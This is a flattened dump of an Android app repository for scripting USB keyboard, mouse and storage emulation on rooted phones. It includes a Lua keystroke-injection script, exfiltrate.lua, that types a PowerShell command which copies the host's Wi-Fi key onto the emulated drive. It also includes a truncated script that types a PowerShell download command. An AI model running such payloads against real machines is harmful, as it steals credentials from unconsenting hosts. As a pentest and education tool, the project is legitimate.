├── app ├── .gitignore ├── src │ └── main │ │ ├── assets │ │ ├── scripts │ │ │ ├── noop.lua │ │ │ ├── test.lua │ │ │ ├── massstorage.lua │ │ │ ├── debug.lua │ │ │ ├── composite.lua │ │ │ ├── mouse.lua │ │ │ ├── exfiltrate.lua │ │ │ ├── wallpaper.lua │ │ │ ├── downloadrun.lua │ │ │ └── chromeacct.lua │ │ └── lib │ │ │ ├── common.lua │ │ │ └── inspect.lua │ │ ├── ic_fuzzer-web.png │ │ ├── res │ │ ├── mipmap-hdpi │ │ │ └── ic_fuzzer.png │ │ ├── mipmap-mdpi │ │ │ └── ic_fuzzer.png │ │ ├── mipmap-xhdpi │ │ │ └── ic_fuzzer.png │ │ ├── mipmap-xxhdpi │ │ │ └── ic_fuzzer.png │ │ ├── mipmap-xxxhdpi │ │ │ └── ic_fuzzer.png │ │ ├── values │ │ │ ├── colors.xml │ │ │ ├── dimens.xml │ │ │ ├── themes.xml │ │ │ ├── styles.xml │ │ │ └── strings.xml │ │ ├── values-w820dp │ │ │ └── dimens.xml │ │ ├── layout │ │ │ ├── activity_select_asset_row.xml │ │ │ ├── activity_select_asset.xml │ │ │ └── activity_main.xml │ │ ├── menu │ │ │ └── menu_main.xml │ │ └── drawable │ │ │ └── ic_baseline_usb_24.xml │ │ ├── java │ │ └── org │ │ │ └── netdex │ │ │ └── androidusbscript │ │ │ ├── task │ │ │ ├── LuaIOBridge.kt │ │ │ ├── LuaUsbTaskFactory.java │ │ │ └── LuaUsbTask.java │ │ │ ├── lua │ │ │ ├── LuaSerial.java │ │ │ ├── LuaHidMouse.java │ │ │ ├── LuaHidKeyboard.java │ │ │ └── LuaUsbLibrary.java │ │ │ ├── service │ │ │ ├── RootFileSystemService.kt │ │ │ ├── LuaUsbServiceConnection.kt │ │ │ ├── RootServiceConnection.kt │ │ │ └── LuaUsbService.kt │ │ │ ├── util │ │ │ ├── Util.kt │ │ │ └── FileSystem.kt │ │ │ ├── configfs │ │ │ ├── function │ │ │ │ ├── UsbGadgetFunctionSerial.kt │ │ │ │ ├── UsbGadgetFunctionHid.kt │ │ │ │ ├── UsbGadgetFunctionMassStorage.kt │ │ │ │ └── UsbGadgetFunction.kt │ │ │ └── UsbGadget.kt │ │ │ ├── NotificationBroadcastReceiver.java │ │ │ ├── gui │ │ │ ├── ConfirmDialog.java │ │ │ └── PromptDialog.java │ │ │ ├── LuaAssetAdapter.java │ │ │ ├── SelectAssetActivity.java │ │ │ ├── function │ │ │ ├── DeviceStream.kt │ │ │ ├── HidInput.java │ │ │ └── HidDescriptor.kt │ │ │ └── MainActivity.kt │ │ └── AndroidManifest.xml ├── proguard-rules.pro └── build.gradle ├── settings.gradle ├── fastlane └── metadata │ └── android │ ├── en-US │ ├── short_description.txt │ ├── images │ │ ├── icon.png │ │ └── phoneScreenshots │ │ │ └── 1.png │ └── full_description.txt │ └── de │ └── short_description.txt ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── .github └── workflows │ ├── fastlane.yml │ └── android.yml ├── gradle.properties ├── LICENSE ├── .gitignore ├── gradlew.bat ├── README.md └── gradlew /app/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /settings.gradle: -------------------------------------------------------------------------------- 1 | include ':app' 2 | -------------------------------------------------------------------------------- /app/src/main/assets/scripts/noop.lua: -------------------------------------------------------------------------------- 1 | while true do 2 | wait(1000) 3 | end 4 | -------------------------------------------------------------------------------- /fastlane/metadata/android/en-US/short_description.txt: -------------------------------------------------------------------------------- 1 | allows you to script HID emulation tasks -------------------------------------------------------------------------------- /fastlane/metadata/android/de/short_description.txt: -------------------------------------------------------------------------------- 1 | erlaubt das Skripten von HID Emulations-Tasks -------------------------------------------------------------------------------- /app/src/main/ic_fuzzer-web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Netdex/android-usb-script/HEAD/app/src/main/ic_fuzzer-web.png -------------------------------------------------------------------------------- /app/src/main/assets/scripts/test.lua: -------------------------------------------------------------------------------- 1 | kb = luausb.create({ type = "keyboard" }) 2 | 3 | while true do 4 | wait(1000) 5 | end -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Netdex/android-usb-script/HEAD/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /app/src/main/res/mipmap-hdpi/ic_fuzzer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Netdex/android-usb-script/HEAD/app/src/main/res/mipmap-hdpi/ic_fuzzer.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-mdpi/ic_fuzzer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Netdex/android-usb-script/HEAD/app/src/main/res/mipmap-mdpi/ic_fuzzer.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-xhdpi/ic_fuzzer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Netdex/android-usb-script/HEAD/app/src/main/res/mipmap-xhdpi/ic_fuzzer.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-xxhdpi/ic_fuzzer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Netdex/android-usb-script/HEAD/app/src/main/res/mipmap-xxhdpi/ic_fuzzer.png -------------------------------------------------------------------------------- /app/src/main/res/mipmap-xxxhdpi/ic_fuzzer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Netdex/android-usb-script/HEAD/app/src/main/res/mipmap-xxxhdpi/ic_fuzzer.png -------------------------------------------------------------------------------- /fastlane/metadata/android/en-US/images/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Netdex/android-usb-script/HEAD/fastlane/metadata/android/en-US/images/icon.png -------------------------------------------------------------------------------- /fastlane/metadata/android/en-US/images/phoneScreenshots/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Netdex/android-usb-script/HEAD/fastlane/metadata/android/en-US/images/phoneScreenshots/1.png -------------------------------------------------------------------------------- /app/src/main/assets/scripts/massstorage.lua: -------------------------------------------------------------------------------- 1 | --- 2 | --- Simple mass storage device using default options 3 | --- 4 | 5 | _ = luausb.create({ type = "storage" }) 6 | 7 | while true do 8 | wait(1000) 9 | end 10 | -------------------------------------------------------------------------------- /.github/workflows/fastlane.yml: -------------------------------------------------------------------------------- 1 | name: Fastlane 2 | 3 | on: [pull_request] 4 | 5 | jobs: 6 | build: 7 | runs-on: ubuntu-latest 8 | steps: 9 | - uses: actions/checkout@v3 10 | - uses: ashutoshgngwr/validate-fastlane-supply-metadata@v2 -------------------------------------------------------------------------------- /app/src/main/res/values/colors.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | #3F51B5 4 | #303F9F 5 | #FF4081 6 | 7 | -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionBase=GRADLE_USER_HOME 2 | distributionPath=wrapper/dists 3 | distributionUrl=https\://services.gradle.org/distributions/gradle-8.9-bin.zip 4 | networkTimeout=10000 5 | validateDistributionUrl=true 6 | zipStoreBase=GRADLE_USER_HOME 7 | zipStorePath=wrapper/dists 8 | -------------------------------------------------------------------------------- /app/src/main/assets/scripts/debug.lua: -------------------------------------------------------------------------------- 1 | require('common') 2 | local inspect = require('inspect') 3 | 4 | kb = luausb.create({ type = "keyboard" }) 5 | 6 | wait(1000) 7 | 8 | while true do 9 | while true do 10 | test = kb:read_lock() 11 | if test == nil then 12 | break 13 | end 14 | print(inspect(test)) 15 | end 16 | wait(10) 17 | end -------------------------------------------------------------------------------- /app/src/main/res/values/dimens.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 0dp 4 | 0dp 5 | 180dp 6 | 16dp 7 | 16dp 8 | 9 | -------------------------------------------------------------------------------- /app/src/main/java/org/netdex/androidusbscript/task/LuaIOBridge.kt: -------------------------------------------------------------------------------- 1 | package org.netdex.androidusbscript.task 2 | 3 | /** 4 | * Created by netdex on 12/30/17. 5 | */ 6 | interface LuaIOBridge { 7 | fun onLogMessage(s: String) 8 | 9 | fun onConfirm(title: String, message: String): Boolean 10 | 11 | fun onPrompt(title: String, message: String, hint: String, def: String): String 12 | } 13 | -------------------------------------------------------------------------------- /app/src/main/res/values-w820dp/dimens.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 64dp 6 | 7 | -------------------------------------------------------------------------------- /app/src/main/res/values/themes.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 8 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /app/src/main/java/org/netdex/androidusbscript/lua/LuaSerial.java: -------------------------------------------------------------------------------- 1 | package org.netdex.androidusbscript.lua; 2 | 3 | import org.netdex.androidusbscript.function.DeviceStream; 4 | import org.netdex.androidusbscript.util.FileSystem; 5 | 6 | import java.io.IOException; 7 | import java.nio.file.Path; 8 | 9 | 10 | public class LuaSerial extends DeviceStream { 11 | public LuaSerial(FileSystem fs, Path devicePath) { 12 | super(fs, devicePath); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_select_asset_row.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 11 | -------------------------------------------------------------------------------- /app/src/main/java/org/netdex/androidusbscript/service/RootFileSystemService.kt: -------------------------------------------------------------------------------- 1 | package org.netdex.androidusbscript.service 2 | 3 | import android.content.Intent 4 | import android.os.IBinder 5 | import com.topjohnwu.superuser.ipc.RootService 6 | import com.topjohnwu.superuser.nio.FileSystemManager 7 | 8 | class RootFileSystemService : RootService() { 9 | override fun onBind(intent: Intent): IBinder { 10 | return FileSystemManager.getService() 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /app/src/main/assets/scripts/composite.lua: -------------------------------------------------------------------------------- 1 | --- 2 | --- Composite device composed of every suupported gadget 3 | --- 4 | 5 | require('common') 6 | 7 | kb, ms, st, sl = luausb.create( 8 | { type = "keyboard" }, 9 | { type = "mouse" }, 10 | { type = "storage" }, 11 | { type = "serial" } 12 | ) 13 | 14 | while true do 15 | print("idle") 16 | 17 | wait_for_state("configured") 18 | wait_for_detect(kb) 19 | print("running") 20 | 21 | wait(1000) 22 | 23 | print("done") 24 | wait_for_state("not attached") 25 | 26 | print("disconnected") 27 | 28 | wait(1000) 29 | end -------------------------------------------------------------------------------- /app/src/main/assets/scripts/mouse.lua: -------------------------------------------------------------------------------- 1 | --- 2 | --- Draw some cool circles using the mouse 3 | --- 4 | require('common') 5 | 6 | ms1 = luausb.create({ type = "mouse" }) 7 | 8 | while true do 9 | -- poll until usb plugged in 10 | wait_for_state("configured") 11 | 12 | t = 0 13 | s = 0.05 14 | r = 200 15 | x = r 16 | y = 0 17 | while luausb.state() == "configured" do 18 | ax, ay = r * math.cos(t), r * math.sin(t) 19 | dx, dy = math.floor(ax - x), math.floor(ay - y) 20 | x, y = x + dx, y + dy 21 | t = t + s 22 | ms1:move(dx, dy) 23 | end 24 | end 25 | -------------------------------------------------------------------------------- /app/src/main/res/menu/menu_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 10 | 14 | -------------------------------------------------------------------------------- /app/src/main/java/org/netdex/androidusbscript/util/Util.kt: -------------------------------------------------------------------------------- 1 | package org.netdex.androidusbscript.util 2 | 3 | object Util { 4 | private val HEX_ARRAY = "0123456789abcdef".toCharArray() 5 | fun escapeHex(bytes: ByteArray): String { 6 | val hexChars = CharArray(bytes.size * 4) 7 | for (j in bytes.indices) { 8 | val v = bytes[j].toInt() and 0xFF 9 | hexChars[j * 4] = '\\' 10 | hexChars[j * 4 + 1] = 'x' 11 | hexChars[j * 4 + 2] = HEX_ARRAY[v ushr 4] 12 | hexChars[j * 4 + 3] = HEX_ARRAY[v and 0x0F] 13 | } 14 | return String(hexChars) 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /app/src/main/java/org/netdex/androidusbscript/service/LuaUsbServiceConnection.kt: -------------------------------------------------------------------------------- 1 | package org.netdex.androidusbscript.service 2 | 3 | import android.content.ComponentName 4 | import android.content.ServiceConnection 5 | import android.os.IBinder 6 | 7 | open class LuaUsbServiceConnection : ServiceConnection { 8 | var service: LuaUsbService? = null 9 | private set 10 | 11 | override fun onServiceConnected(name: ComponentName, binder: IBinder) { 12 | service = (binder as LuaUsbService.Binder).service 13 | } 14 | 15 | override fun onServiceDisconnected(name: ComponentName) { 16 | service = null 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_baseline_usb_24.xml: -------------------------------------------------------------------------------- 1 | 7 | 10 | 11 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_select_asset.xml: -------------------------------------------------------------------------------- 1 | 2 | 9 | 10 | 14 | 15 | -------------------------------------------------------------------------------- /app/src/main/java/org/netdex/androidusbscript/configfs/function/UsbGadgetFunctionSerial.kt: -------------------------------------------------------------------------------- 1 | package org.netdex.androidusbscript.configfs.function 2 | 3 | import org.netdex.androidusbscript.configfs.UsbGadget 4 | 5 | class SerialParameters( 6 | 7 | ) : FunctionParameters() 8 | 9 | /** 10 | * https://www.kernel.org/doc/Documentation/usb/gadget_serial.txt 11 | * https://www.kernel.org/doc/Documentation/ABI/testing/configfs-usb-gadget-serial 12 | */ 13 | class UsbGadgetFunctionSerial(usbGadget: UsbGadget, id: Int, params: SerialParameters) : 14 | UsbGadgetFunction(usbGadget, id, params) { 15 | 16 | override val name: String get() = "gser.usb$id" 17 | 18 | fun getPortNum(): Int { 19 | return Integer.parseInt(getAttribute("port_num")) 20 | } 21 | } -------------------------------------------------------------------------------- /fastlane/metadata/android/en-US/full_description.txt: -------------------------------------------------------------------------------- 1 |

Android HID Script provides a simple Lua interface for emulating an HID device on top of configfs.

Use at your own risk. For educational purposes only.

This app provides an easy way to script HID interactions intuitively, with feedback. In addition, it contains wrappers around the HID devices allowing developers to easily integrate HID functionality into their own apps.


Use Cases of Scripted HID Emulation

Root is required to use this app.

-------------------------------------------------------------------------------- /app/src/main/java/org/netdex/androidusbscript/NotificationBroadcastReceiver.java: -------------------------------------------------------------------------------- 1 | package org.netdex.androidusbscript; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | 7 | import org.netdex.androidusbscript.service.LuaUsbService; 8 | 9 | public class NotificationBroadcastReceiver extends BroadcastReceiver { 10 | public static final String ACTION_STOP = "org.netdex.androidusbscript.ACTION_STOP"; 11 | 12 | @Override 13 | public void onReceive(Context context, Intent intent) { 14 | MainActivity mainActivity = (MainActivity) context; 15 | if (intent.getAction().equals(ACTION_STOP)) { 16 | LuaUsbService luaUsbService = mainActivity.getLuaUsbService(); 17 | luaUsbService.stopActiveTask(); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /app/src/main/java/org/netdex/androidusbscript/service/RootServiceConnection.kt: -------------------------------------------------------------------------------- 1 | package org.netdex.androidusbscript.service 2 | 3 | import android.content.ComponentName 4 | import android.content.ServiceConnection 5 | import android.os.IBinder 6 | import android.os.RemoteException 7 | import com.topjohnwu.superuser.nio.FileSystemManager 8 | import timber.log.Timber 9 | 10 | open class RootServiceConnection : ServiceConnection { 11 | var remoteFs: FileSystemManager? = null 12 | private set 13 | 14 | override fun onServiceConnected(name: ComponentName, service: IBinder) { 15 | try { 16 | remoteFs = FileSystemManager.getRemote(service) 17 | } catch (e: RemoteException) { 18 | Timber.e(e) 19 | } 20 | } 21 | 22 | override fun onServiceDisconnected(name: ComponentName) { 23 | remoteFs = null 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /gradle.properties: -------------------------------------------------------------------------------- 1 | ## For more details on how to configure your build environment visit 2 | # http://www.gradle.org/docs/current/userguide/build_environment.html 3 | # 4 | # Specifies the JVM arguments used for the daemon process. 5 | # The setting is particularly useful for tweaking memory settings. 6 | # Default value: -Xmx1024m -XX:MaxPermSize=256m 7 | # org.gradle.jvmargs=-Xmx2048m -XX:MaxPermSize=512m -XX:+HeapDumpOnOutOfMemoryError -Dfile.encoding=UTF-8 8 | # 9 | # When configured, Gradle will run in incubating parallel mode. 10 | # This option should only be used with decoupled projects. More details, visit 11 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects 12 | # org.gradle.parallel=true 13 | #Fri Nov 13 11:15:42 EST 2020 14 | android.enableJetifier=false 15 | android.nonFinalResIds=false 16 | android.nonTransitiveRClass=true 17 | android.useAndroidX=true 18 | org.gradle.jvmargs=-Xmx1536m 19 | -------------------------------------------------------------------------------- /app/src/main/res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | Android USB Script 3 | Disabled 4 | Enabled 5 | Task 6 | Log Content 7 | Android USB script interpreter 8 | Lua script \"%1$s\" is active 9 | No scripts are currently active 10 | Service 11 | android-usb-script service channel 12 | ScrollingActivity 13 | Settings 14 | Cancel 15 | Select Asset 16 | Load Script 17 | 18 | -------------------------------------------------------------------------------- /app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # By default, the flags in this file are appended to flags specified 3 | # in D:\Programming\Android\sdk/tools/proguard/proguard-android.txt 4 | # You can edit the include path and order by changing the proguardFiles 5 | # directive in build.gradle. 6 | # 7 | # For more details, see 8 | # http://developer.android.com/guide/developing/tools/proguard.html 9 | 10 | # Add any project specific keep options here: 11 | 12 | # If your project uses WebView with JS, uncomment the following 13 | # and specify the fully qualified class name to the JavaScript interface 14 | # class: 15 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 16 | # public *; 17 | #} 18 | 19 | # This is generated automatically by the Android Gradle plugin. 20 | 21 | -dontwarn javax.script.** 22 | -dontwarn org.apache.bcel.** 23 | 24 | -dontobfuscate 25 | 26 | # Do NOT optimize LuaJ or classes which serve as Lua API boundary 27 | -keep class org.luaj.vm2.** {*; } 28 | -keep class org.netdex.androidusbscript.lua.** {*; } -------------------------------------------------------------------------------- /app/src/main/assets/scripts/exfiltrate.lua: -------------------------------------------------------------------------------- 1 | --- 2 | --- Copy a file from the system to a mass storage gadget 3 | --- https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/exfiltration 4 | --- 5 | 6 | require('common') 7 | 8 | local LABEL = "COMPOSITE" 9 | 10 | kb = luausb.create({ type = "keyboard"}, { type = "storage", label = LABEL }) 11 | 12 | while true do 13 | print("idle") 14 | 15 | -- poll until usb plugged in 16 | wait_for_state('configured') 17 | wait_for_detect(kb) 18 | 19 | print("running") 20 | wait(2000) -- wait in case explorer pops up 21 | 22 | kb:chord(MOD_LSUPER, KEY_R) 23 | wait(1000) 24 | kb:string("powershell \"$m=(Get-Volume -FileSystemLabel '" .. LABEL .. "').DriveLetter;" 25 | .. "netsh wlan show profile name=(Get-NetConnectionProfile).Name key=" 26 | .. "clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>>$m':\\'$env:" 27 | .. "computername'.txt'\"\n") 28 | 29 | print("done") 30 | wait_for_state("not attached") 31 | 32 | print("disconnected") 33 | end 34 | 35 | -------------------------------------------------------------------------------- /.github/workflows/android.yml: -------------------------------------------------------------------------------- 1 | name: Android CI 2 | 3 | on: 4 | push: 5 | branches: [ "master" ] 6 | pull_request: 7 | branches: [ "master" ] 8 | 9 | jobs: 10 | build: 11 | runs-on: ubuntu-latest 12 | 13 | steps: 14 | - uses: actions/checkout@v3 15 | 16 | - name: Set up JDK 17 17 | uses: actions/setup-java@v3 18 | with: 19 | java-version: '17' 20 | distribution: 'temurin' 21 | cache: gradle 22 | 23 | - name: Grant execute permission for gradlew 24 | run: chmod +x gradlew 25 | 26 | - name: Build with Gradle 27 | run: ./gradlew assembleDebug 28 | 29 | - name: Generate build information 30 | id: build 31 | shell: bash 32 | run: | 33 | echo "::set-output name=artifact_name::${{ github.event.repository.name }}-r$(git rev-parse --short HEAD)-${{ github.run_id }}" 34 | 35 | - name: Upload artifact 36 | uses: actions/upload-artifact@v2 37 | with: 38 | name: ${{ steps.build.outputs.artifact_name }} 39 | path: ${{ github.workspace }}/app/build/outputs/apk/debug/app-debug.apk 40 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 netdex 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /app/src/main/assets/lib/common.lua: -------------------------------------------------------------------------------- 1 | --- 2 | --- Common library functions 3 | --- 4 | 5 | -- Wait for the system to detect us by polling for the first output report 6 | function wait_for_detect(kb) 7 | while true do 8 | local lock = kb:read_lock() 9 | if lock ~= nil then 10 | return lock 11 | end 12 | wait(100) 13 | end 14 | end 15 | 16 | function wait_for_state(state) 17 | while luausb.state() ~= state do 18 | wait(100) 19 | end 20 | end 21 | 22 | -- make it really obvious when a script is done running 23 | function flash(kb) 24 | kb:press(KEY_NUMLOCK) 25 | 26 | wait(100) 27 | local lock 28 | while true do 29 | local val = kb:read_lock() 30 | if val == nil then break end 31 | lock = val 32 | end 33 | if lock == nil then return end 34 | 35 | if lock.num_lock then kb:press(KEY_NUMLOCK) end 36 | if lock.caps_lock then kb:press(KEY_CAPSLOCK) end 37 | if lock.scroll_lock then kb:press(KEY_SCROLLLOCK) end 38 | 39 | local state = luausb.state() 40 | while luausb.state() == state do 41 | kb:press(KEY_NUMLOCK, KEY_CAPSLOCK, KEY_SCROLLLOCK) 42 | wait(50) 43 | kb:press(KEY_NUMLOCK, KEY_CAPSLOCK, KEY_SCROLLLOCK) 44 | wait(950) 45 | end 46 | end -------------------------------------------------------------------------------- /app/src/main/java/org/netdex/androidusbscript/configfs/function/UsbGadgetFunctionHid.kt: -------------------------------------------------------------------------------- 1 | package org.netdex.androidusbscript.configfs.function 2 | 3 | import org.netdex.androidusbscript.configfs.UsbGadget 4 | import org.netdex.androidusbscript.util.FileSystem 5 | import java.io.IOException 6 | import java.nio.file.Paths 7 | 8 | class HidParameters( 9 | val protocol: Int, 10 | val subclass: Int, 11 | val reportLength: Int, 12 | val descriptor: ByteArray 13 | ) : FunctionParameters() 14 | 15 | /** 16 | * https://www.kernel.org/doc/Documentation/usb/gadget_hid.txt 17 | * https://www.kernel.org/doc/Documentation/ABI/testing/configfs-usb-gadget-hid 18 | */ 19 | class UsbGadgetFunctionHid(usbGadget: UsbGadget, id: Int, params: HidParameters) : 20 | UsbGadgetFunction(usbGadget, id, params) { 21 | 22 | override val name: String get() = "hid.usb$id" 23 | 24 | @Throws(IOException::class) 25 | public override fun create() { 26 | super.create() 27 | val params = params as HidParameters 28 | fs.write(params.protocol, functionPath.resolve("protocol")) 29 | fs.write(params.subclass, functionPath.resolve("subclass")) 30 | fs.write(params.reportLength, functionPath.resolve("report_length")) 31 | fs.write(params.descriptor, functionPath.resolve("report_desc")) 32 | } 33 | 34 | fun getMinor(): Int { 35 | return Integer.parseInt(getAttribute("dev").split(":")[1]) 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 12 | 13 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 28 | 29 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Built application files 2 | *.apk 3 | *.aar 4 | *.ap_ 5 | *.aab 6 | 7 | # Files for the ART/Dalvik VM 8 | *.dex 9 | 10 | # Java class files 11 | *.class 12 | 13 | # Generated files 14 | bin/ 15 | gen/ 16 | out/ 17 | # Uncomment the following line in case you need and you don't have the release build type files in your app 18 | # release/ 19 | 20 | # Gradle files 21 | .gradle/ 22 | build/ 23 | 24 | # Local configuration file (sdk path, etc) 25 | local.properties 26 | 27 | # Proguard folder generated by Eclipse 28 | proguard/ 29 | 30 | # Log Files 31 | *.log 32 | 33 | # Android Studio Navigation editor temp files 34 | .navigation/ 35 | 36 | # Android Studio captures folder 37 | captures/ 38 | 39 | # IntelliJ 40 | *.iml 41 | /.idea/ 42 | 43 | # Keystore files 44 | # Uncomment the following lines if you do not want to check your keystore files in. 45 | #*.jks 46 | #*.keystore 47 | 48 | # External native build folder generated in Android Studio 2.2 and later 49 | .externalNativeBuild 50 | .cxx/ 51 | 52 | # Google Services (e.g. APIs or Firebase) 53 | # google-services.json 54 | 55 | # Freeline 56 | freeline.py 57 | freeline/ 58 | freeline_project_description.json 59 | 60 | # fastlane 61 | fastlane/report.xml 62 | fastlane/Preview.html 63 | fastlane/screenshots 64 | fastlane/test_output 65 | fastlane/readme.md 66 | 67 | # Version control 68 | vcs.xml 69 | 70 | # lint 71 | lint/intermediates/ 72 | lint/generated/ 73 | lint/outputs/ 74 | lint/tmp/ 75 | # lint/reports/ 76 | 77 | # Android Profiling 78 | *.hprof 79 | -------------------------------------------------------------------------------- /app/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.application' 2 | apply plugin: 'org.jetbrains.kotlin.android' 3 | 4 | android { 5 | compileSdk 35 6 | defaultConfig { 7 | applicationId "org.netdex.androidusbscript" 8 | minSdkVersion 26 9 | targetSdkVersion 35 10 | versionCode 122 11 | versionName '1.2.2' 12 | } 13 | buildTypes { 14 | release { 15 | minifyEnabled true 16 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' 17 | } 18 | } 19 | productFlavors { 20 | } 21 | compileOptions { 22 | targetCompatibility JavaVersion.VERSION_17 23 | sourceCompatibility JavaVersion.VERSION_17 24 | } 25 | namespace 'org.netdex.androidusbscript' 26 | dependenciesInfo { 27 | includeInApk = false 28 | includeInBundle = false 29 | } 30 | } 31 | 32 | dependencies { 33 | implementation 'androidx.core:core:1.13.1' 34 | implementation 'androidx.core:core-ktx:1.13.1' 35 | implementation 'androidx.appcompat:appcompat:1.7.0' 36 | 37 | implementation 'com.google.android.material:material:1.12.0' 38 | 39 | implementation 'com.jakewharton.timber:timber:5.0.1' 40 | implementation 'org.luaj:luaj-jse:3.0.1' 41 | 42 | implementation "com.github.topjohnwu.libsu:core:5.2.0" 43 | implementation "com.github.topjohnwu.libsu:service:5.2.0" 44 | implementation "com.github.topjohnwu.libsu:nio:5.2.0" 45 | implementation "com.github.topjohnwu.libsu:io:5.2.0" 46 | 47 | } 48 | repositories { 49 | mavenCentral() 50 | maven { url 'https://jitpack.io' } 51 | } 52 | -------------------------------------------------------------------------------- /app/src/main/java/org/netdex/androidusbscript/lua/LuaHidMouse.java: -------------------------------------------------------------------------------- 1 | package org.netdex.androidusbscript.lua; 2 | 3 | import org.netdex.androidusbscript.function.DeviceStream; 4 | import org.netdex.androidusbscript.util.FileSystem; 5 | 6 | import java.io.Closeable; 7 | import java.io.IOException; 8 | import java.nio.file.Path; 9 | 10 | 11 | public class LuaHidMouse extends DeviceStream { 12 | 13 | public LuaHidMouse(FileSystem fs, Path devicePath) { 14 | super(fs, devicePath); 15 | } 16 | 17 | /** 18 | * A B C D 19 | * XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX 20 | *

21 | * A: Mouse button mask 22 | * B: Mouse X-offset 23 | * C: Mouse Y-offset 24 | * D: Mouse wheel offset 25 | * 26 | * @param offset HID mouse bytes 27 | */ 28 | private void raw(byte... offset) throws IOException, InterruptedException { 29 | byte[] buffer = new byte[4]; 30 | if (offset.length > 4) 31 | throw new IllegalArgumentException("Too many parameters in HID report"); 32 | System.arraycopy(offset, 0, buffer, 0, offset.length); 33 | this.write(buffer); 34 | } 35 | 36 | public void click(byte mask, long duration) throws IOException, InterruptedException { 37 | raw(mask); 38 | if (duration > 0) { 39 | Thread.sleep(duration); 40 | } 41 | raw(); 42 | } 43 | 44 | public void move(byte dx, byte dy) throws IOException, InterruptedException { 45 | raw((byte) 0, dx, dy); 46 | } 47 | 48 | public void scroll(byte offset) throws IOException, InterruptedException { 49 | raw((byte) 0, (byte) 0, (byte) 0, offset); 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /app/src/main/assets/scripts/wallpaper.lua: -------------------------------------------------------------------------------- 1 | --- 2 | --- Change Windows 10 desktop wallpaper 3 | --- 4 | 5 | require('common') 6 | 7 | kb = luausb.create({ type = "keyboard" }) 8 | 9 | local file = prompt{ 10 | message="Enter the URL of the wallpaper to download.", 11 | hint="Image URL", 12 | default="https://i.imgur.com/46wWHZ3.png" 13 | } 14 | 15 | while true do 16 | print("idle") 17 | 18 | -- wait for USB device to be plugged in 19 | wait_for_state('configured') 20 | -- wait for host to detect this USB device 21 | wait_for_detect(kb) 22 | print("running") 23 | 24 | kb:chord(MOD_LSUPER, KEY_R) 25 | wait(2000) 26 | kb:string("powershell\n") 27 | wait(2000) 28 | kb:string("[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;" .. 29 | "(new-object 